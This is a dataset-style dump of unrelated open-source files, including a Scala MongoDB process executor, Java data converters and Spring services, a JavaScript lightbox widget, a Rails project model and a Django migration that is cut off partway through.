repo_name stringlengths 6 101 | path stringlengths 4 300 | text stringlengths 7 1.31M |
|---|---|---|
ScalablyTyped/SlinkyTyped | c/couchbase/src/main/scala/typingsSlinky/couchbase/mod/N1qlStringQuery.scala | package typingsSlinky.couchbase.mod
import typingsSlinky.couchbase.mod.N1qlQuery.Consistency
import org.scalablytyped.runtime.StObject
import scala.scalajs.js
import scala.scalajs.js.`|`
import scala.scalajs.js.annotation.{JSGlobalScope, JSGlobal, JSImport, JSName, JSBracketAccess}
/**
* Class for holding a explicitly defined N1QL query string.
*/
@JSImport("couchbase", "N1qlStringQuery")
@js.native
class N1qlStringQuery () extends N1qlQuery {
/**
* Specifies whether this query is adhoc or should be prepared.
* @param adhoc
*/
def adhoc(adhoc: Boolean): N1qlStringQuery = js.native
/**
* Specify the consistency level for this query.
* @param val
*/
def consistency(`val`: Consistency): N1qlStringQuery = js.native
/**
* Returns the fully prepared object representation of this query.
*/
def toObject(): js.Any = js.native
}
|
Git-liuxiaoyu/cloud-hospital-parent | cloud-hospital-parent/cloud-hospital-nacos-parent/physical-exam-service/src/main/java/com/example/physicalexamservice/util/converter/PhysicalExamRecordEsPoConverter.java | <gh_stars>0
package com.example.physicalexamservice.util.converter;
import com.example.physicalexamservice.inlet.web.vo.PhysicalExamRecordVo;
import com.example.physicalexamservice.outlet.dao.es.po.PhysicalExamRecordEsPo;
import com.example.physicalexamservice.outlet.dao.mysql.po.PhysicalExamRecordMysqlPo;
import com.example.physicalexamservice.service.command.physicalexamrecord.add.AddPhysicalExamRecordCommand;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Component;
/**
* 转换器类 - Convert To PhysicalExamRecordEsPo
*
* @author Alnwick11AtoZ 松
* @date 2021/6/22
*/
@Component
@Slf4j
public class PhysicalExamRecordEsPoConverter {
/**
* AddPhysicalExamRecordCommand -> PhysicalExamRecordEsPo
*
* @param command
* @return
*/
public PhysicalExamRecordEsPo convert(AddPhysicalExamRecordCommand command) {
/* 实例化 PhysicalExamRecordEsPo */
PhysicalExamRecordEsPo physicalExamRecordEsPo = new PhysicalExamRecordEsPo();
/* 赋值 */
physicalExamRecordEsPo.setCreatetime(command.getCreateTime());
physicalExamRecordEsPo.setDoctorid(command.getDoctorid());
physicalExamRecordEsPo.setNo(command.getNo());
physicalExamRecordEsPo.setPatientid(command.getPatientid());
physicalExamRecordEsPo.setStatus(PhysicalExamRecordVo.STATUS_NOTPAY);
physicalExamRecordEsPo.setId(command.getId());
physicalExamRecordEsPo.setTreatrecordid(command.getTreatrecordid());
/* 返回 */
return physicalExamRecordEsPo;
}
/**
* PhysicalExamRecordMysqlPo -> PhysicalExamRecordEsPo
*
* @param physicalExamRecordMysqlPo
* @return
*/
public PhysicalExamRecordEsPo convert(PhysicalExamRecordMysqlPo physicalExamRecordMysqlPo) {
/* 实例化 */
PhysicalExamRecordEsPo physicalExamRecordEsPo = new PhysicalExamRecordEsPo();
/* 赋值 */
physicalExamRecordEsPo.setTreatrecordid(physicalExamRecordMysqlPo.getTreatrecordid());
physicalExamRecordEsPo.setStatus(physicalExamRecordMysqlPo.getStatus());
physicalExamRecordEsPo.setPatientid(physicalExamRecordMysqlPo.getPatientid());
physicalExamRecordEsPo.setDoctorid(physicalExamRecordMysqlPo.getDoctorid());
physicalExamRecordEsPo.setCreatetime(physicalExamRecordMysqlPo.getCreatetime());
physicalExamRecordEsPo.setNo(physicalExamRecordMysqlPo.getNo());
physicalExamRecordEsPo.setId(physicalExamRecordMysqlPo.getId());
/* 返回 */
return physicalExamRecordEsPo;
}
}
|
roy-zz/spring | lecture-advanced/src/test/java/hello/advanced/trace/hellotrace/HelloTraceV1Test.java | <filename>lecture-advanced/src/test/java/hello/advanced/trace/hellotrace/HelloTraceV1Test.java<gh_stars>0
package hello.advanced.trace.hellotrace;
import hello.advanced.trace.TraceStatus;
import org.junit.jupiter.api.Test;
public class HelloTraceV1Test {
@Test
void begin_end() {
HelloTraceV1 trace = new HelloTraceV1();
TraceStatus status = trace.begin("hello");
trace.end(status);
}
@Test
void begin_exception() {
HelloTraceV1 trace = new HelloTraceV1();
TraceStatus status = trace.begin("hello");
trace.exception(status, new IllegalStateException());
}
}
|
workflowfm/pew | pew-mongo/src/main/scala/com/workflowfm/pew/mongodb/MongoExecutor.scala | package com.workflowfm.pew.mongodb
import scala.annotation.tailrec
import scala.concurrent._
import scala.concurrent.duration._
import scala.util.Failure
import scala.util.Success
import scala.util.Try
import org.bson._
import org.bson.codecs._
import org.bson.codecs.configuration.{ CodecProvider, CodecRegistries, CodecRegistry }
import org.bson.codecs.configuration.CodecRegistries.{ fromCodecs, fromProviders, fromRegistries }
import org.bson.types._
import org.mongodb.scala.ClientSession
import org.mongodb.scala.ClientSessionOptions
import org.mongodb.scala.MongoClient
import org.mongodb.scala.MongoCollection
import org.mongodb.scala.MongoDatabase
import org.mongodb.scala.Observable
import org.mongodb.scala.Observer
import org.mongodb.scala.ReadConcern
import org.mongodb.scala.SingleObservable
import org.mongodb.scala.WriteConcern
import org.mongodb.scala.bson.codecs.DEFAULT_CODEC_REGISTRY
import org.mongodb.scala.model.Filters._
import com.workflowfm.pew._
import com.workflowfm.pew.execution._
import com.workflowfm.pew.mongodb.bson.PiCodecProvider
import com.workflowfm.pew.stream.SimplePiObservable
class MongoExecutor(client: MongoClient, db: String, collection: String, processes: PiProcessStore)(
implicit val executionContext: ExecutionContext = ExecutionContext.global
) extends ProcessExecutor[ObjectId]
with SimplePiObservable[ObjectId] {
def this(client: MongoClient, db: String, collection: String, l: PiProcess*) =
this(client, db, collection, SimpleProcessStore(l: _*))
final val CAS_MAX_ATTEMPTS = 10
final val CAS_WAIT_MS = 1
val codecRegistry: CodecRegistry =
fromRegistries(fromProviders(new PiCodecProvider(processes)), DEFAULT_CODEC_REGISTRY)
val database: MongoDatabase = client
.getDatabase(db)
.withCodecRegistry(codecRegistry)
.
//withReadConcern(ReadConcern.LINEARIZABLE).
withWriteConcern(WriteConcern.MAJORITY);
val col: MongoCollection[PiInstance[ObjectId]] = database.getCollection(collection)
override def init(instance: PiInstance[_]): Future[ObjectId] = {
val oid = new ObjectId
val inst = instance.copy(id = oid)
col.insertOne(inst).toFuture() map (_ => oid)
}
override def start(id: ObjectId): Unit = {
val promise = Promise[PiInstance[ObjectId]]()
update(id, startUpdate, 0, promise)
promise.future.recover({
case PiException => Unit
case t: Throwable => publish(PiFailureExceptions(id, t))
})
}
//
// val ni = inst.reduce
// if (ni.completed) ni.result match {
// case None => {
// publish(PiEventFailure(ni,ProcessExecutor.NoResultException(ni.id.toString())))
// }
// case Some(res) => {
// publish(PiEventResult(ni, res))
// }
// } else try {
// val (toCall,res) = ni.handleThreads(handleThread(ni))
// col.insertOne(res).toFuture().onComplete({
// case Success(_) => {
// val futureCalls = toCall flatMap (res.piFutureOf)
// try {
// (toCall zip futureCalls) map runThread(res)
// } catch {
// case (e:Exception) => promise.failure(e)
// }
// }
// case Failure(e) => promise.failure(e)
// })
// } catch {
// case (e:Exception) => {
// publish(PiEventFailure(ni,e))
// }
// }
// Future.successful(oid)
protected def startUpdate(i: PiInstance[ObjectId]): PiInstance[ObjectId] = {
publish(PiEventStart(i))
i.reduce
}
final def postResult(
id: ObjectId,
ref: Int,
res: MetadataAtomicProcess.MetadataAtomicResult
): Unit = {
publish(PiEventReturn(id, ref, PiObject.get(res._1), res._2))
val promise = Promise[PiInstance[ObjectId]]()
update(id, postResultUpdate(ref, res._1), 0, promise)
promise.future.recover({
case PiException => Unit
case t: Throwable => publish(PiFailureExceptions(id, t))
})
}
protected def postResultUpdate(ref: Int, res: PiObject)(
i: PiInstance[ObjectId]
): PiInstance[ObjectId] = {
System.err.println("*** [" + i.id + "] Handling result for thread " + ref + " : " + res)
i.postResult(ref, res).reduce
}
/* We give a promise as an argument instead of returning a Future in order to avoid chaining
* promises at each recursive call. */
final protected def update(
id: ObjectId,
f: PiInstance[ObjectId] => PiInstance[ObjectId],
attempt: Int,
promise: Promise[PiInstance[ObjectId]]
): Unit = try {
implicit val iid: ObjectId = id
val obs =
client.startSession(ClientSessionOptions.builder.causallyConsistent(true).build()) safeThen {
case Seq(session: ClientSession) => {
System.err.println("*** [" + id + "] Session started")
col.find(session, equal("_id", id)) safeThen {
case Seq() =>
Future {
System.err.println("*** [" + id + "] CAS (pre) - Closing session")
session.close()
if (attempt < CAS_MAX_ATTEMPTS) throw CASException
else {
publish(PiFailureNoSuchInstance(id))
throw PiException
}
}
case Seq(i: PiInstance[ObjectId]) => {
System.err.println("*** [" + id + "] Got PiInstance: " + i)
val (toCall, resobs) = put(i, f(i), col, session) //postResult(i,ref,res,col,session)
resobs safeThen {
case Seq() =>
Future {
System.err.println("*** [" + id + "] CAS (post) - Closing session")
session.close()
if (attempt < CAS_MAX_ATTEMPTS) throw CASException
else throw CASFailureException(id.toString())
}
case Seq(_) =>
Future {
System.err.println("*** [" + id + "] Closing session")
session.close()
(toCall, i)
}
}
}
}
}
}
obs.onComplete({
case Success((toCall, i)) => {
System.err.println("*** [" + id + "] Success")
try {
toCall map runThread(i)
promise.success(i)
} catch {
case (e: Exception) => promise.failure(e)
}
}
case Failure(CASException) =>
System.err.println("*** [" + id + "] CAS Retry - attempt: " + (attempt + 1));
Thread.sleep(CAS_WAIT_MS); update(id, f, attempt + 1, promise)
case Failure(e) => {
System.err.println("*** [" + id + "] Failed: " + e.getLocalizedMessage)
promise.failure(e)
}
})
} catch {
case (e: Exception) => { // this should never happen!
System.err.println("*** [" + id + "] FATAL")
e.printStackTrace()
publish(PiFailureExceptions(id, e))
Future.failed(e)
}
}
protected def put(
i: PiInstance[ObjectId],
ni: PiInstance[ObjectId],
col: MongoCollection[PiInstance[ObjectId]],
session: ClientSession
): (Seq[(Int, PiFuture)], Observable[_]) = {
val unique = i.called
if (ni.completed) ni.result match {
case None => {
/* Delete first, then announce the result, so that we don't do anything (like close the
* pool) early */
//System.err.println("*** [" + ni.id + "] Completed with no result!")
(
Seq(),
(col.findOneAndDelete(session, and(equal("_id", ni.id), equal("calls", unique))) andThen {
case _ => publish(PiFailureNoResult(ni))
})
)
}
case Some(res) => {
//System.err.println("*** [" + ni.id + "] Completed with result!")
/* Delete first, then announce the result, so that we don't do anything (like close the
* pool) early */
(
Seq(),
(col.findOneAndDelete(session, and(equal("_id", ni.id), equal("calls", unique))) andThen {
case _ => publish(PiEventResult(ni, res))
})
)
}
}
else {
//System.err.println("*** [" + i.id + "] Handling threads after: " + ref)
val (toCall, resi) = ni.handleThreads(handleThread(ni)) // may throw exception!
val futureCalls = toCall flatMap (resi.piFutureOf)
//System.err.println("*** [" + i.id + "] Updating state after: " + ref)
(
toCall zip futureCalls,
col.findOneAndReplace(session, and(equal("_id", i.id), equal("calls", unique)), resi)
)
}
}
protected def handleThread(i: PiInstance[ObjectId])(ref: Int, f: PiFuture): Boolean = {
System.err.println("*** [" + i.id + "] Handling thread: " + ref + " (" + f.fun + ")")
f match {
case PiFuture(name, outChan, args) =>
i.getProc(name) match {
case None => {
System.err.println("*** [" + i.id + "] ERROR *** Unable to find process: " + name)
publish(PiFailureUnknownProcess(i, name))
throw PiException
}
case Some(p: MetadataAtomicProcess) => true
case Some(p: CompositeProcess) => {
System.err.println(
"*** [" + i.id + "] Executor encountered composite process thread: " + name
)
publish(PiFailureAtomicProcessIsComposite(i, name))
throw PiException
}
}
}
}
protected def runThread(i: PiInstance[ObjectId])(t: (Int, PiFuture)): Unit = {
System.err.println("*** [" + i.id + "] Handling thread: " + t._1 + " (" + t._2.fun + ")")
t match {
case (ref, PiFuture(name, outChan, args)) =>
i.getProc(name) match {
case None => {
// This should never happen! We already checked!
System.err.println(
"*** [" + i.id + "] ERROR *** Unable to find process: " + name + " even though we checked already"
)
publish(PiFailureUnknownProcess(i, name))
}
case Some(p: MetadataAtomicProcess) => {
val objs = args map (_.obj)
p.runMeta(objs).onComplete {
case Success(res) => {
postResult(i.id, ref, res)
}
case Failure(ex) => publish(PiFailureAtomicProcessException(i.id, ref, ex))
}
System.err.println("*** [" + i.id + "] Called process: " + p.name + " ref:" + ref)
}
case Some(p: CompositeProcess) => { // This should never happen! We already checked!
System.err.println(
"*** [" + i.id + "] Executor encountered composite process thread: " + name
)
publish(PiFailureAtomicProcessIsComposite(i, name))
}
}
}
}
implicit class SafeObservable[T](obs: Observable[T])(implicit id: ObjectId) {
def safeThen[U](f: Seq[T] => Future[U]): Future[U] = {
val p = Promise[U]()
obs
.toFuture()
.onComplete({
case Success(r: Seq[T]) =>
try {
f(r).onComplete({
case Success(s) => p.success(s)
case Failure(e: Throwable) => p.failure(e)
})
} catch {
case (exe: Exception) => p.failure(exe)
}
case Failure(ex: Throwable) => p.failure(ex)
})
p.future
}
}
final case object CASException extends Exception("CAS")
final case object PiException extends Exception("Pi")
final case class CASFailureException(val id: String, private val cause: Throwable = None.orNull)
extends Exception(
"Compare-and-swap failed after " + CAS_MAX_ATTEMPTS + " attempts for id: " + id,
cause
)
}
/* class MongoFutureExecutor(client:MongoClient, db:String, collection:String,
* processes:PiProcessStore,timeout:Duration=10.seconds)(override implicit val context:
* ExecutionContext = ExecutionContext.global) */
/* extends MongoExecutor[PromiseHandler.ResultT](client, db, collection, new
* PromiseHandler[ObjectId], processes:PiProcessStore,timeout)(context) with FutureExecutor */
//
//object MongoFutureExecutor {
/* def apply(client:MongoClient, db:String, collection:String, l:PiProcess*) = new
* MongoFutureExecutor(client,db,collection,SimpleProcessStore(l :_*)) */
//}
|
honchardev/KPI | year_1/prog_base_sem2/tasks/threads/consumer.h | <gh_stars>0
#pragma once
#include "sharedObject.h"
// Structure do describe consumer thread.
typedef struct consumer_s consumer_t;
// Constructor.
consumer_t * consumer_new(sharedObj_t * shObj);
// Destructor.
void consumer_delete(consumer_t * self);
|
leleAichaoshen/MVPFrame | app/src/main/java/com/king/mvpframe/util/SP_Constant.java | <gh_stars>0
package com.king.mvpframe.util;
public class SP_Constant {
public static final String TOKEN = "token";
public static final String USER_INFO = "userInfo";
}
|
riematrix/crawler | lib/lightbox.js | function LightBox(){
this.lightbox = document.createElement("div");
this.dimmer = document.createElement("div");
this.content = document.createElement("div");
this.header = document.createElement("div");
var lightbox = this.lightbox;
lightbox.id = "lightbox";
var content = this.content,
header = this.header,
bar = document.createElement("div"),
confirm = document.createElement("a"),
cancel = document.createElement("a");
content.className = "content";
header.className = "lightbox-header";
confirm.className = "lightbox-button lightbox-confirm";
cancel.className = "lightbox-button lightbox-cancel";
header.innerText = "Message";
this.cancelDom = cancel;
this.confirmDom = confirm;
bar.className = "lightbox-bar";
this.dimmer.className = "dimmer";
bar.appendChild(confirm);
bar.appendChild(cancel);
lightbox.appendChild(header);
lightbox.appendChild(content);
lightbox.appendChild(bar);
document.body.appendChild(lightbox);
}
LightBox.prototype = {
popup: function (message,confirm,cancel){
var lightbox = this.lightbox,
dimmer = this.dimmer;
this.content.innerHTML = message.body;
this.header.innerText = message.title;
if(message.hideConfirm)addClass(this.confirmDom,"invisiable");
dimmer.style.width = window.innerWidth + 'px';
dimmer.style.height = window.innerHeight + 'px';
document.body.appendChild(dimmer);
lightbox.style.visibility = 'visible';
lightbox.style.top = window.innerHeight/2 - 100 + 'px';
lightbox.style.left = window.innerWidth/2 - 200 + 'px';
lightbox.style.margin = "0";
var input = lightbox.getElementsByTagName("input")[0];
input && input.focus();
var self = this;
this.confirmDom.innerText = $T("lightbox.button.confirm");
this.cancelDom.innerText = $T("lightbox.button.cancel");
this.cancelDom.onclick = function(){
self.close();
if(cancel) cancel();
};
this.confirmDom.onclick = function(){
if(confirm) {
try{
confirm(self.content);
}
catch(e){
var error = self.errorDom;
if(!error)
{
error = document.createElement("p");
error.style.color = "red";
error.className = "error-text";
self.errorDom = error;
self.lightbox.appendChild(error);
}
error.innerText = e.message;
error.style.display = "block";
return;
}
}
self.close();
};
return false;
},
close: function(){
if(this.errorDom) this.errorDom.style.display = "none";
this.lightbox.style.marginLeft = "-99999px";
document.body.removeChild(this.dimmer);
this.lightbox.style.visibility = 'hidden';
removeClass(this.confirmDom,"invisiable");
}
}; |
FeGs/chocolat | app/models/project.rb | <reponame>FeGs/chocolat<gh_stars>0
class Project < ActiveRecord::Base
include ActiveUUID::UUID
has_many :api_keys
before_create :generate_api_keys!
ApiKey::SCOPES.each do |scope|
define_method scope do
api_keys.send(scope).permitted.take
end
end
def repository
Repository::Database.connection(database: id).try(:database)
end
private
def generate_api_keys!
ApiKey::SCOPES.each do |scope|
api_keys.build(scope: scope.to_s)
end
end
end
|
minziappa/abilists | src/main/java/com/abilists/service/StartStopService.java | package com.abilists.service;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.abilists.bean.model.MIndustryModel;
import com.abilists.bean.model.MLanguageModel;
import com.abilists.bean.model.MRoleModel;
import com.abilists.bean.model.MTechDetailModel;
import com.abilists.bean.model.MTechModel;
import com.abilists.common.bean.CommonBean;
@Service
public class StartStopService {
final Logger logger = LoggerFactory.getLogger(StartStopService.class);
@Autowired
private AdminMasterService adminMasterService;
@Autowired
private CommonBean commonBean;
private void loadMTechAll() throws Exception {
List<MTechModel> mtechList = adminMasterService.sltMTechAll();
HashMap<String, List<MTechModel>> mtechCertiMap = new HashMap<String, List<MTechModel>>();
HashMap<String, List<MTechModel>> mtechLangMap = new HashMap<String, List<MTechModel>>();
HashMap<String, List<MTechModel>> mtechSkillMap = new HashMap<String, List<MTechModel>>();
List<MTechModel> newMTechCertiList = null;
List<MTechModel> newMTechLangList = null;
List<MTechModel> newMTechSkillList = null;
String mtKindCerti = "";
String mtKindLang = "";
String mtKindSkill = "";
for(MTechModel mtech : mtechList) {
if(mtech.getMtSkill().equals("certi")) {
if(!mtKindCerti.equals(mtech.getMtKind())) {
if(mtKindCerti.length() > 0) {
mtechCertiMap.put(mtKindCerti, newMTechCertiList);
}
mtKindCerti = mtech.getMtKind();
newMTechCertiList = new ArrayList<MTechModel>();
}
MTechModel newMTech = new MTechModel();
newMTech.setMtNo(mtech.getMtNo());
newMTech.setMtName(mtech.getMtName());
newMTech.setMtVersion(mtech.getMtVersion());
newMTech.setMtExplain(mtech.getMtExplain());
newMTechCertiList.add(newMTech);
} else if(mtech.getMtSkill().equals("lang")) {
if(!mtKindLang.equals(mtech.getMtKind())) {
if(mtKindLang.length() > 0) {
mtechLangMap.put(mtKindLang, newMTechLangList);
}
mtKindLang = mtech.getMtKind();
newMTechLangList = new ArrayList<MTechModel>();
}
MTechModel newMTech = new MTechModel();
newMTech.setMtNo(mtech.getMtNo());
newMTech.setMtName(mtech.getMtName());
newMTech.setMtVersion(mtech.getMtVersion());
newMTech.setMtExplain(mtech.getMtExplain());
newMTechLangList.add(newMTech);
} else if(mtech.getMtSkill().equals("skills")) {
if(!mtKindSkill.equals(mtech.getMtKind())) {
if(mtKindSkill.length() > 0) {
mtechSkillMap.put(mtKindSkill, newMTechSkillList);
}
mtKindSkill = mtech.getMtKind();
newMTechSkillList = new ArrayList<MTechModel>();
}
MTechModel newMTech = new MTechModel();
newMTech.setMtNo(mtech.getMtNo());
newMTech.setMtName(mtech.getMtName());
newMTech.setMtVersion(mtech.getMtVersion());
newMTech.setMtExplain(mtech.getMtExplain());
newMTechSkillList.add(newMTech);
} else {
logger.warn("Need to check data. it's not possible.");
}
}
// certi
mtechCertiMap.put(mtKindCerti, newMTechCertiList);
// commonBean.setMtechCertiMap(mtechCertiMap);
// lang
mtechLangMap.put(mtKindLang, newMTechLangList);
// commonBean.setMtechLangMap(mtechLangMap);
// skills
mtechSkillMap.put(mtKindSkill, newMTechSkillList);
// commonBean.setMtechSkillMap(mtechSkillMap);
commonBean.addMtechMap("certi", mtechCertiMap);
commonBean.addMtechMap("lang", mtechLangMap);
commonBean.addMtechMap("skills", mtechSkillMap);
// for( String key : mtechSkillMap.keySet() ){
// logger.info("key >>> " + key);
// for(MTechModel mtech : mtechSkillMap.get(key)) {
// logger.info("mtNo=" + mtech.getMtNo() + ", mtName=" + mtech.getMtName());
// }
// }
}
private void loadMTechDetailAll() throws Exception {
List<MTechDetailModel> mTechDetailList = adminMasterService.sltMTechDetailAll();
HashMap<String, List<MTechDetailModel>> mTechDetailMap = new HashMap<String, List<MTechDetailModel>>();
List<MTechDetailModel> newMTechDetailList = null;
String mtNo = "";
for(MTechDetailModel mTechDetail : mTechDetailList) {
if(!mtNo.equals(String.valueOf(mTechDetail.getMtNo()))) {
if(mtNo.length() > 0) {
mTechDetailMap.put(mtNo, newMTechDetailList);
}
mtNo = String.valueOf(mTechDetail.getMtNo());
newMTechDetailList = new ArrayList<MTechDetailModel>();
}
MTechDetailModel newMTechDetail = new MTechDetailModel();
newMTechDetail.setMtNo(mTechDetail.getMtNo());
newMTechDetail.setMtdLevel(mTechDetail.getMtdLevel());
newMTechDetail.setMtdLevelExplain(mTechDetail.getMtdLevelExplain());
newMTechDetail.setMlCode(mTechDetail.getMlCode());
newMTechDetail.setMtdNo(mTechDetail.getMtdNo());
newMTechDetailList.add(newMTechDetail);
}
mTechDetailMap.put(mtNo, newMTechDetailList);
commonBean.setmTechDetailMap(mTechDetailMap);
// for( String key : mTechDetailMap.keySet() ){
// logger.info("key >>> " + key);
// List<MTechDetailModel> amTechDetailList = mTechDetailMap.get(key);
// for(MTechDetailModel mTechDetail : amTechDetailList) {
// logger.info("MtNo() >> " + mTechDetail.getMtNo());
// logger.info("MlCode() >> " + mTechDetail.getMlCode());
// logger.info("MtdLevelExplain() >> " + mTechDetail.getMtdLevelExplain());
// }
// }
}
// private void loadRollAll() throws Exception {
// List<MRoleModel> mRoleList = adminMasterService.sltMRoleAll();
// commonBean.setmRoleList(mRoleList);
// for(MRoleModel mRole: mRoleList) {
// logger.info("mrName >> " + mRole.getMrName());
// }
// }
private void loadRollAll() throws Exception {
List<MRoleModel> mRoleList = adminMasterService.sltMRoleAll();
HashMap<String, List<MRoleModel>> mRoleMap = new HashMap<String, List<MRoleModel>>();
List<MRoleModel> newMRoleList = null;
String mlCode = "";
for(MRoleModel mRole : mRoleList) {
if(!mlCode.equals(mRole.getMlCode())) {
if(mlCode.length() > 0) {
mRoleMap.put(mlCode, newMRoleList);
}
mlCode = mRole.getMlCode();
newMRoleList = new ArrayList<MRoleModel>();
}
MRoleModel newMRole = new MRoleModel();
newMRole.setMrNo(mRole.getMrNo());
newMRole.setMrName(mRole.getMrName());
newMRole.setMrCode(mRole.getMrCode());
newMRole.setMlCode(mRole.getMlCode());
newMRole.setMrStatus(mRole.getMrStatus());
newMRoleList.add(newMRole);
}
mRoleMap.put(mlCode, newMRoleList);
commonBean.setmRoleMap(mRoleMap);
// for( String key : mRoleMap.keySet() ){
// logger.info("key >>> " + key);
// for(MRoleModel mRole : mRoleMap.get(key)) {
// logger.info("mRole : " + mRole.getMrNo() + ", mrName :" + mRole.getMrName());
// }
// }
}
private void loadMLanguageAll() throws Exception {
List<MLanguageModel> mLanguageList = adminMasterService.sltMLanguageAll();
commonBean.setmLanguageList(mLanguageList);
// for(MLanguageModel mLanguage: mLanguageList) {
// logger.info("mlName >> " + mLanguage.getMlName());
// }
}
private void loadMIndustryAll() throws Exception {
List<MIndustryModel> mIndustryList = adminMasterService.sltMIndustryAll();
HashMap<String, List<MIndustryModel>> mIndustryMap = new HashMap<String, List<MIndustryModel>>();
List<MIndustryModel> newMIndustryList = null;
String mlCode = "";
for(MIndustryModel mIndustry : mIndustryList) {
if(!mlCode.equals(mIndustry.getMlCode())) {
if(mlCode.length() > 0) {
mIndustryMap.put(mlCode, newMIndustryList);
}
mlCode = mIndustry.getMlCode();
newMIndustryList = new ArrayList<MIndustryModel>();
}
MIndustryModel newMIndustry = new MIndustryModel();
newMIndustry.setMiNo(mIndustry.getMiNo());
newMIndustry.setMiLargeCategory(mIndustry.getMiLargeCategory());
newMIndustry.setMiMiddleCategory(mIndustry.getMiMiddleCategory());
newMIndustry.setMiCode(mIndustry.getMiCode());
newMIndustryList.add(newMIndustry);
}
mIndustryMap.put(mlCode, newMIndustryList);
commonBean.setmIndustryMap(mIndustryMap);
// for( String key : mIndustryMap.keySet() ){
// logger.info("key >>> " + key);
// for(MIndustryModel mIndustry : mIndustryMap.get(key)) {
// logger.info("miLargeCategory >> " + mIndustry.getMiLargeCategory());
// }
// }
}
/**
* TODO
* Must to improve this logic, it doesn't do extra coding job for adding a master data.
*
* @throws Exception
*/
public void start() throws Exception {
this.loadMTechAll();
this.loadRollAll();
this.loadMLanguageAll();
this.loadMIndustryAll();
this.loadMTechDetailAll();
}
public void stop() {
logger.info("This is stop");
}
}
|
abdusabri/hsds-react | src/components/TagList/TagList.css.js | import styled from 'styled-components'
import { getColor } from '../../styles/utilities/color'
import { setFontSize } from '../../styles/utilities/font'
export const TagListUI = styled('div')`
max-height: 36px;
overflow: hidden;
will-change: contents;
&.is-showingAll {
max-height: none;
}
`
export const ClearAllUI = styled('button')`
border: none;
background: none;
cursor: pointer;
padding: 0 4px;
height: 100%;
margin-left: 8px;
color: ${getColor('charcoal.200')};
${setFontSize(12)};
&:hover {
color: ${getColor('charcoal.400')};
}
`
export default TagListUI
|
benrs/OOProject | AndroidCode/app/src/main/java/ca/qc/johnabbott/cs603/Controllers/ToolBox.java | package ca.qc.johnabbott.cs603.Controllers;
import ca.qc.johnabbott.cs603.Tools.*;
import ca.qc.johnabbott.cs603.Views.DrawingView;
import ca.qc.johnabbott.cs603.Views.PreviewView;
import android.graphics.Color;
public class ToolBox {
private DrawingView drawing;
private PreviewView preview;
private Tool currentTool;
private int strokeWidth;
private int strokeColor;
private int fillColor;
public ToolBox(DrawingView drawing) {
super();
this.drawing = drawing;
this.strokeWidth = 2;
this.strokeColor = Color.BLACK;
this.fillColor = Color.TRANSPARENT;
}
public ToolBox(PreviewView preview) {
super();
this.preview = preview;
this.strokeWidth = 2;
this.strokeColor = Color.BLACK;
this.fillColor = Color.TRANSPARENT;
}
public void changeTool(ToolName name) {
if (currentTool == null || currentTool.getName() != name) {
switch (name) {
case LINE:
currentTool = new LineTool(this);
break;
case SQUARE:
currentTool = new SquareTool(this, ToolName.SQUARE);
break;
case RECTANGLE:
currentTool = new RectangleTool(this, ToolName.RECTANGLE);
break;
case CIRCLE:
currentTool = new CircleTool(this, ToolName.CIRCLE);
break;
case OVAL:
currentTool = new OvalTool(this, ToolName.OVAL);
break;
default:
currentTool = new LineTool(this);
break;
}
}
}
public Tool getCurrentTool() {
return currentTool;
}
public ToolName getCurrentToolName() {
return currentTool.getName();
}
public int getStrokeWidth() {
return strokeWidth;
}
public void setStrokeWidth(int strokeWidth) {
this.strokeWidth = strokeWidth;
}
public int getStrokeColor() {
return strokeColor;
}
public void setStrokeColor(int color) {
this.strokeColor = color;
}
public int getFillColor() {
return fillColor;
}
public void setFillColor(int color) {
this.fillColor = color;
}
public DrawingView getDrawingView() {
return drawing;
}
}
|
sgholamian/log-aware-clone-detection | NLPCCd/Hadoop/9590_2.java | //,temp,sample_5493.java,2,11,temp,sample_8652.java,2,8
//,3
public class xxx {
protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
if (LOG.isDebugEnabled()) {
log.info("loading class");
}
}
}; |
ezwang/pcr | api/courses/migrations/0001_initial.py | <reponame>ezwang/pcr
# -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2018-02-08 08:37
from __future__ import unicode_literals
import api.courses.models
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Alias',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('coursenum', models.IntegerField()),
('semester', api.courses.models.SemesterField()),
('oldpcr_id', models.IntegerField(null=True)),
],
),
migrations.CreateModel(
name='Building',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(max_length=4)),
('name', models.CharField(max_length=80)),
('latitude', models.FloatField()),
('longitude', models.FloatField()),
],
),
migrations.CreateModel(
name='Course',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('semester', api.courses.models.SemesterField()),
('name', models.CharField(max_length=200)),
('credits', models.FloatField(null=True)),
('description', models.TextField()),
('oldpcr_id', models.IntegerField(null=True)),
],
),
migrations.CreateModel(
name='CourseHistory',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('notes', models.TextField()),
],
),
migrations.CreateModel(
name='Department',
fields=[
('code', models.CharField(max_length=5, primary_key=True, serialize=False)),
('name', models.CharField(max_length=200)),
],
),
migrations.CreateModel(
name='Instructor',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first_name', models.CharField(db_index=True, max_length=80, null=True)),
('last_name', models.CharField(db_index=True, max_length=80, null=True)),
('pennkey', models.CharField(max_length=80, null=True)),
('email', models.EmailField(max_length=80, null=True)),
('website', models.URLField(null=True)),
('oldpcr_id', models.IntegerField(null=True)),
],
),
migrations.CreateModel(
name='MeetingTime',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('type', models.CharField(max_length=3)),
('day', models.CharField(max_length=1)),
('start', models.IntegerField()),
('end', models.IntegerField()),
],
),
migrations.CreateModel(
name='Review',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('forms_returned', models.IntegerField()),
('forms_produced', models.IntegerField()),
('form_type', models.IntegerField()),
('comments', models.TextField()),
